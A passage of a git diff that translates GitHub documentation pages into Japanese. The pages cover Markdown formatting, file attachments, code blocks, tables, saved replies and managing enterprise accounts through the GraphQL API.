+![コンテンツの添付](/assets/images/github-apps/content_reference_attachment.png)
 
-To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %}
+コンテンツの添付を見るには、リポジトリにインストールされた Content Attachments API を使う {% data variables.product.prodname_github_app %} が必要です。{% ifversion fpt or ghec %}詳細は「[個人アカウントでアプリケーションをインストールする](/articles/installing-an-app-in-your-personal-account)」および「[Organization でアプリケーションをインストールする](/articles/installing-an-app-in-your-organization)」を参照してください。{% endif %}
 
-Content attachments will not be displayed for URLs that are part of a markdown link.
+コンテンツの添付は、Markdown のリンクの一部になっている URL には表示されません。
 
 For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)."{% endif %}
 
-## Uploading assets
+## アセットをアップロードする
 
-You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository.
+ドラッグアンドドロップ、ファイルブラウザから選択、または貼り付けることにより、画像などのアセットをアップロードできます。 アセットをリポジトリ内の Issue、プルリクエスト、コメント、および `.md` ファイルにアップロードできます。
 
-## Using emoji
+## 絵文字の利用
 
-You can add emoji to your writing by typing `:EMOJICODE:`.
+`:EMOJICODE:` を入力して、書き込みに絵文字を追加できます。
 
-`@octocat :+1: This PR looks great - it's ready to merge! :shipit:`
+`@octocat :+1: このPRは素晴らしいです - マージできますね！ :shipit:`
 
-![Rendered emoji](/assets/images/help/writing/emoji-rendered.png)
+![表示された絵文字](/assets/images/help/writing/emoji-rendered.png)
 
-Typing `:` will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result.
+`:` を入力すると、絵文字のサジェストリストが表示されます。 このリストは、入力を進めるにつれて絞り込まれていくので、探している絵文字が見つかったら、**Tab** または **Enter** を押すと、ハイライトされているものが入力されます。
 
-For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md).
+利用可能な絵文字とコードの完全なリストについては、[絵文字チートシート](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md)を参照してください。
 
-## Paragraphs
+## パラグラフ
 
-You can create a new paragraph by leaving a blank line between lines of text.
+テキスト行の間に空白行を残すことで、新しいパラグラフを作成できます。
 
 {% ifversion fpt or ghae-issue-5180 or ghes > 3.2 or ghec %}
 ## Footnotes
@@ -316,15 +317,15 @@ You can tell {% data variables.product.product_name %} to hide content from the
 &lt;!-- This content will not appear in the rendered Markdown --&gt;
 </pre>
 
-## Ignoring Markdown formatting
+## Markdown のフォーマットの無視
 
-You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using `\` before the Markdown character.
+{% data variables.product.product_name %}に対し、Markdown のキャラクタの前に `\` を使うことで、Markdown のフォーマットを無視 (エスケープ) させることができます。
 
-`Let's rename \*our-new-project\* to \*our-old-project\*.`
+`\*新しいプロジェクト\* を \*古いプロジェクト\* にリネームしましょう`
 
-![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png)
+![表示されたエスケープキャラクタ](/assets/images/help/writing/escaped-character-rendered.png)
 
-For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)."
+詳しい情報については Daring Fireball の [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash) を参照してください。
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-5232 or ghec %}
 
@@ -334,9 +335,9 @@ For more information, see Daring Fireball's "[Markdown Syntax](https://daringfir
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)"
-- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
-- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
+- [GitHub 上での書き込みと書式設定について](/articles/about-writing-and-formatting-on-github)
+- [高度なフォーマットを使用して作業する](/articles/working-with-advanced-formatting)
+- [Markdown をマスターする](https://guides.github.com/features/mastering-markdown/)
diff --git a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
index 568196ac4e..ea5bd1d80c 100644
--- a/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
+++ b/translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
@@ -1,10 +1,10 @@
 ---
-title: Getting started with writing and formatting on GitHub
+title: GitHub で書き、フォーマットしてみる
 redirect_from:
   - /articles/markdown-basics
   - /articles/things-you-can-do-in-a-text-area-on-github
   - /articles/getting-started-with-writing-and-formatting-on-github
-intro: 'You can use simple features to format your comments and interact with others in issues, pull requests, and wikis on GitHub.'
+intro: GitHub の Issue、プルリクエスト、およびウィキでは、シンプルな機能を使用してコメントをフォーマットしたり他のユーザとやりとりしたりできます。
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/ja-JP/content/github/writing-on-github/index.md b/translations/ja-JP/content/github/writing-on-github/index.md
index e53ef2f32b..b8e1602180 100644
--- a/translations/ja-JP/content/github/writing-on-github/index.md
+++ b/translations/ja-JP/content/github/writing-on-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Writing on GitHub
+title: GitHub での執筆
 redirect_from:
   - /categories/88/articles
   - /articles/github-flavored-markdown
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
index 5f8e3d33ce..b9d860ff80 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
@@ -21,13 +21,13 @@ topics:
 
 {% endwarning %}
 
-To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click the bar at the bottom of the comment box to browse, select, and add a file from your computer.
+Issue やプルリクエストの会話にファイルを添付するには、コメントボックスにファイルをドラッグアンドドロップします。 または、コメントボックスの下部にあるバーをクリックしてコンピュータからファイルを参照、選択、追加することもできます。
 
-![Select attachments from computer](/assets/images/help/pull_requests/select-bar.png)
+![コンピュータから添付ファイルを選択する](/assets/images/help/pull_requests/select-bar.png)
 
 {% tip %}
 
-**Tip:** In many browsers, you can copy-and-paste images directly into the box.
+**ヒント:** 多くのブラウザでは、画像をコピーして直接ボックスに貼り付けることができます。
 
 {% endtip %}
 
@@ -38,17 +38,17 @@ The maximum file size is:
 - 100MB for videos{% endif %}
 - 25MB for all other files
 
-We support these files:
+以下のファイルがサポートされています:
 
 * PNG (*.png*)
 * GIF (*.gif*)
 * JPEG (*.jpg*)
-* Log files (*.log*)
-* Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents
-* Text files (*.txt*)
-* PDFs (*.pdf*)
+* ログファイル (*.log*)
+* Microsoft Word (*.docx*)、Powerpoint (*.pptx*)、および Excel (*.xlsx*) 文書
+* テキストファイル (*.txt*)
+* PDF (*.pdf*)
 * ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-* Video (*.mp4*, *.mov*)
+* ビデオ(*.mp4*, *.mov*)
 
 {% note %}
 
@@ -57,4 +57,4 @@ We support these files:
 {% endnote %}
 {% endif %}
 
-![Attachments animated GIF](/assets/images/help/pull_requests/dragging_images.gif)
+![添付アニメーション GIF](/assets/images/help/pull_requests/dragging_images.gif)
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
index 71616f8e10..8cd0f7d346 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and highlighting code blocks
-intro: Share samples of code with fenced code blocks and enabling syntax highlighting.
+title: コードブロックの作成と強調表示
+intro: コードのサンプルをコードブロックにし、構文を強調表示して共有しましょう。
 redirect_from:
   - /articles/creating-and-highlighting-code-blocks
   - /github/writing-on-github/creating-and-highlighting-code-blocks
@@ -12,23 +12,23 @@ versions:
 shortTitle: Create code blocks
 ---
 
-## Fenced code blocks
+## コードブロック
 
-You can create fenced code blocks by placing triple backticks <code>\`\`\`</code> before and after the code block. We recommend placing a blank line before and after code blocks to make the raw formatting easier to read.
+三連バッククォート <code>\`\`\`</code> をコードのブロック前後に入力すると、コードブロックを作成できます。 ソースコードを読みやすくするために、コードブロックの前後に空の行を入れることをお勧めします。
 
 <pre>
 ```
 function test() {
-  console.log("notice the blank line before this function?");
+  console.log("この関数の前に空白行があるのがわかりますか?");
 }
 ```
 </pre>
 
-![Rendered fenced code block](/assets/images/help/writing/fenced-code-block-rendered.png)
+![表示されたコードブロック](/assets/images/help/writing/fenced-code-block-rendered.png)
 
 {% tip %}
 
-**Tip:** To preserve your formatting within a list, make sure to indent non-fenced code blocks by eight spaces.
+**ヒント:** リスト内でフォーマットを保持するために、フェンスされていないコードのブロックをスペース 8 つでインデントしてください。
 
 {% endtip %}
 
@@ -47,13 +47,13 @@ Look! You can see my backticks.
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-## Syntax highlighting
+## 構文の強調表示
 
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-You can add an optional language identifier to enable syntax highlighting in your fenced code block.
+言語識別子を追加して、コードブロックの構文を強調表示することができます。
 
-For example, to syntax highlight Ruby code:
+たとえば、Ruby コードの構文を強調表示するには:
 
     ```ruby
     require 'redcarpet'
@@ -61,11 +61,11 @@ For example, to syntax highlight Ruby code:
     puts markdown.to_html
     ```
 
-![Rendered code block with Ruby syntax highlighting](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
+![Ruby の構文を強調して表示されたコードブロック](/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
 
-We use [Linguist](https://github.com/github/linguist) to perform language detection and to select [third-party grammars](https://github.com/github/linguist/blob/master/vendor/README.md) for syntax highlighting. You can find out which keywords are valid in [the languages YAML file](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml).
+構文強調表示のための言語検出の実行や[サードパーティの文法](https://github.com/github/linguist/blob/master/vendor/README.md)の選択には [Linguist](https://github.com/github/linguist) を使用します。 どのキーワードが有効かについては[言語 YAML ファイル](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml)でご覧いただけます。
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
+- [基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md
index 48cb432198..211d3351c7 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with advanced formatting
-intro: 'Formatting like tables, syntax highlighting, and automatic linking allows you to arrange complex information clearly in your pull requests, issues, and comments.'
+title: 高度なフォーマットを使用して作業する
+intro: テーブルのようなフォーマット、構文の強調表示、および自動リンキングを使用すると、プルリクエスト、Issue、およびコメントに複雑な情報を明確に配置できます。
 redirect_from:
   - /articles/working-with-advanced-formatting
 versions:
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
index 88fc964d9f..854821d2fa 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
@@ -1,6 +1,6 @@
 ---
 title: Organizing information with collapsed sections
-intro: 'You can streamline your Markdown by creating a collapsed section with the `<details>` tag.'
+intro: You can streamline your Markdown by creating a collapsed section with the `<details>` tag.
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,6 +8,7 @@ versions:
   ghec: '*'
 shortTitle: Collapsed sections
 ---
+
 ## Creating a collapsed section
 
 You can temporarily obscure sections of your Markdown by creating a collapsed section that the reader can choose to expand. For example, when you want to include technical details in an issue comment that may not be relevant or interesting to every reader, you can put those details in a collapsed section.
@@ -24,9 +25,7 @@ Any Markdown within the `<details>` block will be collapsed until the reader cli
       puts "Hello World"
     ```
 
-</p>
-</details>
-```
+</details> ```</p>
 
 The Markdown will be collapsed by default.
 
@@ -36,7 +35,7 @@ After a reader clicks {% octicon "triangle-right" aria-label="The right triange
 
 ![Rendered open](/assets/images/help/writing/open-collapsed-section.png)
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
+- [基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
index 4c5738d5f5..fb938aa2bd 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
@@ -1,6 +1,6 @@
 ---
-title: Organizing information with tables
-intro: 'You can build tables to organize information in comments, issues, pull requests, and wikis.'
+title: 情報を表に編成する
+intro: 表を作成して、コメント、Issue、プルリクエスト、ウィキの情報を編成できます。
 redirect_from:
   - /articles/organizing-information-with-tables
   - /github/writing-on-github/organizing-information-with-tables
@@ -11,23 +11,24 @@ versions:
   ghec: '*'
 shortTitle: Organized data with tables
 ---
-## Creating a table
 
-You can create tables with pipes `|` and hyphens `-`. Hyphens are used to create each column's header, while pipes separate each column. You must include a blank line before your table in order for it to correctly render.
+## 表を作成する
+
+表は、パイプ文字 (`|`) とハイフン (`-`) を使って作成できます。 ハイフンでヘッダを作成し、パイプ文字で各列を分けます。 正しく表示されるように、表の前には空白行を 1 行追加してください。
 
 ```markdown
 
-| First Header  | Second Header |
+| ヘッダ 1 | ヘッダ 2 |
 | ------------- | ------------- |
-| Content Cell  | Content Cell  |
-| Content Cell  | Content Cell  |
+| 内容セル  | 内容セル  |
+| 内容セル  | 内容セル  |
 ```
 
-![Rendered table](/assets/images/help/writing/table-basic-rendered.png)
+![レンダリングされた表](/assets/images/help/writing/table-basic-rendered.png)
 
-The pipes on either end of the table are optional.
+表の両側のパイプ文字はオプションです。
 
-Cells can vary in width and do not need to be perfectly aligned within columns. There must be at least three hyphens in each column of the header row.
+セルの幅は変わるので、列がぴったり一致する必要はありません。 各列のヘッダ行には、ハイフンを 3 つ以上使用してください。
 
 ```markdown
 | Command | Description |
@@ -36,13 +37,13 @@ Cells can vary in width and do not need to be perfectly aligned within columns.
 | git diff | Show file differences that haven't been staged |
 ```
 
-![Rendered table with varied cell width](/assets/images/help/writing/table-varied-columns-rendered.png)
+![異なるセル幅で表示された表](/assets/images/help/writing/table-varied-columns-rendered.png)
 
 {% data reusables.user_settings.enabling-fixed-width-fonts %}
 
-## Formatting content within your table
+## 表の内容をフォーマットする
 
-You can use [formatting](/articles/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table:
+表では、リンク、インラインのコードブロック、テキストスタイルなどの[フォーマット](/articles/basic-writing-and-formatting-syntax)を使用できます。
 
 ```markdown
 | Command | Description |
@@ -51,9 +52,9 @@ You can use [formatting](/articles/basic-writing-and-formatting-syntax) such as
 | `git diff` | Show file differences that **haven't been** staged |
 ```
 
-![Rendered table with formatted text](/assets/images/help/writing/table-inline-formatting-rendered.png)
+![テキストをフォーマットして表示された表](/assets/images/help/writing/table-inline-formatting-rendered.png)
 
-You can align text to the left, right, or center of a column by including colons `:` to the left, right, or on both sides of the hyphens within the header row.
+ヘッダー行でハイフンの左、右、両側にコロン (`:`) を使うと、列でテキストを左寄せ、右寄せ、センタリングすることができます。
 
 ```markdown
 | Left-aligned | Center-aligned | Right-aligned |
@@ -62,9 +63,9 @@ You can align text to the left, right, or center of a column by including colons
 | git diff     | git diff       | git diff      |
 ```
 
-![Rendered table with left, center, and right text alignment](/assets/images/help/writing/table-aligned-text-rendered.png)
+![テキストを左寄せ、右寄せ、センタリングして表示された表](/assets/images/help/writing/table-aligned-text-rendered.png)
 
-To include a pipe `|` as content within your cell, use a `\` before the pipe:
+セルでパイプ文字 (`|`) を使用するには、パイプ文字の前に `\` を追加します。
 
 ```markdown
 | Name     | Character |
@@ -73,9 +74,9 @@ To include a pipe `|` as content within your cell, use a `\` before the pipe:
 | Pipe     | \|        |
 ```
 
-![Rendered table with an escaped pipe](/assets/images/help/writing/table-escaped-character-rendered.png)
+![パイプ文字をエスケープして表示された表](/assets/images/help/writing/table-escaped-character-rendered.png)
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown の仕様](https://github.github.com/gfm/)
+- [基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/ja-JP/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/ja-JP/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
index 45ee882eba..3eb54fea9c 100644
--- a/translations/ja-JP/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
+++ b/translations/ja-JP/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a saved reply
-intro: You can edit the title and body of a saved reply.
+title: 返信テンプレートを編集する
+intro: 返信テンプレートのタイトルと本文を編集できます。
 redirect_from:
   - /articles/changing-a-saved-reply
   - /articles/editing-a-saved-reply
@@ -11,17 +11,16 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.saved_replies %}
-3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}.  
-![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png)
-4. Under "Edit saved reply", you can edit the title and the content of the saved reply.
-![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png)
-5. Click **Update saved reply**.
-![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png)
+3. [Saved replies] で、編集対象の返信テンプレートの隣にある {% octicon "pencil" aria-label="The pencil" %} をクリックします。  
+   ![返信テンプレートの編集](/assets/images/help/settings/saved-replies-edit-existing.png)
+4. [Edit saved reply] で、返信テンプレートのタイトルと内容を編集できます。 ![タイトルと内容を編集](/assets/images/help/settings/saved-replies-edit-existing-content.png)
+5. [**Update saved reply**] をクリックします。 ![返信テンプレートの更新](/assets/images/help/settings/saved-replies-save-edit.png)
 
-## Further reading
+## 参考リンク
 
-- "[Creating a saved reply](/articles/creating-a-saved-reply)"
-- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
-- "[Using saved replies](/articles/using-saved-replies)"
+- [返信テンプレートの作成](/articles/creating-a-saved-reply)
+- [返信テンプレートの削除](/articles/deleting-a-saved-reply)
+- 「[返信テンプレートを利用する](/articles/using-saved-replies)」
diff --git a/translations/ja-JP/content/graphql/guides/index.md b/translations/ja-JP/content/graphql/guides/index.md
index 7311e5cf39..99f1049b87 100644
--- a/translations/ja-JP/content/graphql/guides/index.md
+++ b/translations/ja-JP/content/graphql/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with GraphQL, migrating from REST to GraphQL, and how to use the GitHub GraphQL API for a variety of tasks.'
+title: ガイド
+intro: GraphQLの始め方、RESTからGraphQLへの移行、様々なタスクでのGitHub GraphQL APIの利用方法について学んでください。
 redirect_from:
   - /v4/guides
 versions:
diff --git a/translations/ja-JP/content/graphql/guides/managing-enterprise-accounts.md b/translations/ja-JP/content/graphql/guides/managing-enterprise-accounts.md
index c14b543958..afa802dd7c 100644
--- a/translations/ja-JP/content/graphql/guides/managing-enterprise-accounts.md
+++ b/translations/ja-JP/content/graphql/guides/managing-enterprise-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Managing enterprise accounts
-intro: You can manage your enterprise account and the organizations it owns with the GraphQL API.
+title: Enterpriseアカウントの管理
+intro: Enterpriseアカウントと、そのアカウントが所有するOrganizationをGraphQL APIで管理できます。
 redirect_from:
   - /v4/guides/managing-enterprise-accounts
 versions:
@@ -9,125 +9,113 @@ versions:
   ghae: '*'
 topics:
   - API
-shortTitle: Manage enterprise accounts
+shortTitle: Enterpriseアカウントの管理
 ---
 
-## About managing enterprise accounts with GraphQL
+## GraphQLでのEnterpriseアカウントの管理について
 
-To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs.
+Organizationをモニターし、変更を行ってコンプライアンスを維持しやすくするために、Enterprise Accounts API及びAudit Log APIを利用できます。これらはGraphQL APIでのみ利用できます。
 
-The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server.
+Enterpriseアカウントのエンドポイントは、GitHub Enterprise Cloud及びGitHub Enterprise Serverのどちらでも動作します。
 
-GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account.
+GraphQLを利用すれば、指定したデータだけをリクエストして返してもらうことができます。 たとえば、GraphQLクエリを作成し、情報をリクエストすることで、Organizationに追加された新しいメンバーを全員みることができます。 あるいはミューテーションを行って変更をかけて、Enterpriseアカウントに管理者を招待できます。
 
-With the Audit Log API, you can monitor when someone:
-- Accesses your organization or repository settings.
-- Changes permissions.
-- Adds or removes users in an organization, repository, or team.
-- Promotes users to admin.
-- Changes permissions of a GitHub App.
+Audit Log APIでは、誰かが以下のようなことをするのをモニターできます。
+- Organizationあるいはリポジトリの設定へのアクセス。
+- 権限の変更。
+- Organization、リポジトリ、Teamへのユーザーの追加もしくは削除。
+- ユーザを管理者に昇格。
+- GitHub Appの権限の変更。
 
-The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)."
+Audit Log APIを使えば、Audit logのデータのコピーを保持できます。 Audit Log APIで発行するクエリについては、GraphQLのレスポンスには最大で90から120日分のデータが含まれることがあります。 Audit Log APIで利用できるフィールドのリストについては、「[ AuditEntryインターフェース](/graphql/reference/interfaces#auditentry/)」を参照してください。
 
-With the Enterprise Accounts API, you can:
-- List and review all of the organizations and repositories that belong to your enterprise account.
-- Change Enterprise account settings.
-- Configure policies for settings on your enterprise account and its organizations.
-- Invite administrators to your enterprise account.
-- Create new organizations in your enterprise account.
+Enterprise APIを利用すると、以下のことができます。
+- Enterpriseアカウントに属するすべてのOrganizationとリポジトリの取得と確認。
+- Enterpriseアカウントの設定変更。
+- EnterpriseアカウントとそのOrganizationに関する設定ポリシーの設定。
+- Enterpriseアカウントへの管理者の招待。
+- Enterpriseアカウント内での新しいOrganizationの作成。
 
-For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)."
+Enterprise Accounts APIで利用できるフィールドのリストについては、「[Enterprise Accounts APIのGraphQLフィールドと型](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)」を参照してください。
 
-## Getting started using GraphQL for enterprise accounts
+## EnterpriseアカウントでGraphQLを使い始める
 
-Follow these steps to get started using GraphQL to manage your enterprise accounts:
- - Authenticating with a personal access token
- - Choosing a GraphQL client or using the GraphQL Explorer
- - Setting up Insomnia to use the GraphQL API
+GraphQLを使ってEnterpriseアカウントの管理を始めるには、以下のステップに従ってください。
+ - 個人アクセストークンでの認証
+ - GraphQLクライアントの選択もしくはGraphQL Explorerの利用
+ - GraphQL APIを利用するためのInsomniaのセットアップ
 
-For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)."
+クエリの例については「[Enterprise Accounts APIを使ったクエリの例](#an-example-query-using-the-enterprise-accounts-api)」を参照してください。
 
-### 1. Authenticate with your personal access token
+### 1. 個人アクセストークンでの認証
 
-1. To authenticate with GraphQL, you need to generate a personal access token (PAT) from developer settings. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. GraphQLで認証を受けるには、開発者の設定から個人アクセストークン（PAT）を生成しなければなりません。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
 
-2. Grant admin and full control permissions to your personal access token for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your personal access token:
+2. アクセスしたいGHESの領域に対して、管理及び完全なコントロール権限を個人アクセストークンに付与してください。 プライベートリポジトリ、Organization、Team、ユーザデータ、Enterpriseの支払い及びプロフィールデータへのアクセスについての完全な権限に関しては、個人アクセストークンに対して以下のスコープを選択することをおすすめします。
     - `repo`
     - `admin:org`
-    - `user`
+    - `ユーザ`
     - `admin:enterprise`
 
-  The enterprise account specific scopes are:
+  Enterpriseアカウントに固有にスコープは以下のとおりです。
     - `admin:enterprise`: Gives full control of enterprises (includes {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` and `read:enterprise`)
     - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes > 3.2 or ghae  %}
     - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %}
-    - `read:enterprise`: Read enterprise profile data.
+    - `read:enterprise`: Enterpriseのプロフィールデータの読み取り。
 
-3. Copy your personal access token and keep it in a secure place until you add it to your GraphQL client.
+3. 個人アクセストークンをコピーし、GraphQLクライアントに追加するまでは安全な場所に保管しておいてください。
 
-### 2. Choose a GraphQL client
+### 2. GraphQLクライアントの選択
 
-We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL.
+GraphiQLもしくはベースURLの設定ができる他のスタンドアローンのGraphQLクライアントを使うことをおすすめします。
 
-You may also consider using these GraphQL clients:
+以下のGraphQLクライアントの利用を検討しても良いでしょう。
   - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries)
   - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/)
   - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/)
 
-The next steps will use Insomnia.
+この次のステップではInsomniaを使います。
 
-### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts
+### 3. EnterpriseアカウントでGitHub GraphQL APIを利用するためのInsomniaのセットアップ
 
-1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax:
-    - For your enterprise instance: `https://<HOST>/api/graphql`
-    - For GitHub Enterprise Cloud: `https://api.github.com/graphql`
+1. GraphQLクライアントにベースURLと`POST`メソッドを追加してください。 GraphQLを使って情報をリクエスト（クエリ）したり、情報を変更（ミューテーション）したり、GitHub APIを使ってデータを転送したりする場合、デフォルトのHTTPメソッドは`POST`であり、ベースURLは以下の構文に従います。
+    - Enterpriseインスタンスの場合は、`https://<HOST>/api/graphql`
+    - GitHub Enterprise Cloudの場合は、`https://api.github.com/graphql`
 
-2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your personal access token that you copied earlier.
+2. 認証を受けるには、認証オプションのメニューを開き、**Bearer token**を選択してください。 次に、先ほどコピーした個人アクセストークンを追加してください。
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
+ ![個人アクセストークンの権限オプション](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
+ ![個人アクセストークンの権限オプション](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
 
-3. Include header information.
-   - Add `Content-Type` as the header and `application/json` as the value.
-   ![Standard header](/assets/images/developer/graphql/json-content-type-header.png)
-   ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png)
+3. ヘッダー情報を含めてください。
